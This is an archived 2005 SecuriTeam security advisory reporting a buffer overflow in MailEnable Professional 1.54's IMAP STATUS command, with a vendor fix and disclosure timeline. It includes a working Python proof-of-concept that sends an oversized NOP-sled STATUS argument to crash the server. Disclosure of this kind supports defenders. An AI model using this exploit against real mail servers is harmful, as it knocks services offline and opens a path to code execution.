[NT] MailEnable STATUS Command Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 07/18/05

  • Next message: SecuriTeam: "[NT] Winamp ID3v2 Buffer Overflow" 
    To: list@securiteam.com
Date: 18 Jul 2005 18:35:49 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      MailEnable STATUS Command Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.mailenable.com/> MailEnable is a mail server software which
    provides a messaging platform for Microsoft Windows."

    A buffer overflow in the MailEnable's STATUS command support allows
    attackers to execute arbitrary code with elevated privileges.

    DETAILS

    Vulnerable Systems:
     * MailEnable Professional edition version 1.54

    Immune Systems:
     * MailEnable Professional edition version 1.6

    MailEnable's support for IMAP status command can be exploited to cause the
    product to overflow an internal buffer, the following exploit code will
    overflow the buffer with a NOP sled.

    Proof of Concept:
    #
    # POC about imapd mailenable bug in status command
    #

    import sys
    import imaplib

    class poc:

        def __init__(self,host,loginimap,passimap):
            self.host=host
            self.loginimap=loginimap
            self.passimap=passimap

        def exploit(self):
            print "Please wait"
            
            connect = imaplib.IMAP4(self.host)
            connect.login(self.loginimap,self.passimap)
            nops='\x00'
            nops+='\x90'*10540
            try:
                typ, data = connect.status(nops,'(UIDNEXT UIDVALIDITY MESSAGES
    UNSEEN RECENT)')
            except Exception,e:
                print "Service down!"
            return 0

    if(len(sys.argv) < 4):
        print "Need 3 arguments, ./poc.py host user pass"
        sys.exit(1)

    exp=poc(sys.argv[1],sys.argv[2],sys.argv[3])
    exp.exploit()

    #EoF

    Disclosure Timeline:
    2005-06-30: Notification to vendor.
    2005-06-30: Vendor acknowledged notification and provided a fix.
    2005-07-12: Public Disclosure.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:advisories@coresecurity.com>
    Core Security Technologies .
    The original article can be found at:
    <http://www.coresecurity.com/common/showdoc.php?idx=467&idxseccion=10>
    http://www.coresecurity.com/common/showdoc.php?idx=467&idxseccion=10

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[NT] Winamp ID3v2 Buffer Overflow"

    Relevant Pages

    • [NT] Orenosv HTTP/FTP Server Multiple Buffer Overflows
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Mutliple buffer overflows vulnerabilities were found in Orenosv's server. ... These buffer overflow is triggered when the server receives a FTP ... Long SSI Command Buffer Overflow Vulnerability: ...
      (Securiteam)
    • [NT] HP Radia Notify Daemon Multiple Buffer Overflows
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... RADEXECD process with parameters of a greater length than the buffer used ... structures, executes the target process, and waits for it to terminate. ... text:0040619E call _strcpy; overflow here ...
      (Securiteam)
    • [NT] Winamp ID3v2 Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Winamp is vulnerable to a buffer overflow vulnerability when processing ... control the EAX register, ...
      (Securiteam)
    • [UNIX] OpenBB Multiple Vulnerabilities (board.php, search.php, member.php, post.php, myhome.php, ind
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... arbitrary command execution. ... snippet of code from one of the vulnerable scripts is presented ...
      (Securiteam)
    • [UNIX] BNC IRC Proxy Server Remote Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... server under the GPL. ... bouncing off the computer which is running BNC. ... A buffer overflow vulnerability exhibit itself under certain conditions ...
      (Securiteam)